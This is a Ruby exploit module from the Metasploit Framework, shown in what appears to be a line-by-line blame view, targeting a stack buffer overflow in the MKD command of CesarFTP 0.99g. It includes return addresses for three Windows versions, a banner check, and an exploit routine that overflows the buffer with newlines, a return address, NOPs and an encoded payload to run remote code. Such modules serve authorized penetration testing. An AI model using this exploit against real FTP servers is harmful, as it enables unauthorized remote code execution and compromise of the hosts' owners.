2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
# $Id:$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-11-12 15:57:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Ftp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-12 15:57:37 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'BID', '18586'],
|
|
|
|
[ 'CVE', '2006-2961'],
|
2006-11-12 15:57:37 +00:00
|
|
|
[ 'URL', 'http://secunia.com/advisories/20574/' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 250,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
|
|
|
|
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
|
|
|
|
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 12 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (banner =~ /CesarFTP 0\.99g/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
|
|
|
sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars)
|
|
|
|
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
send_cmd( ['MKD', sploit] , false)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|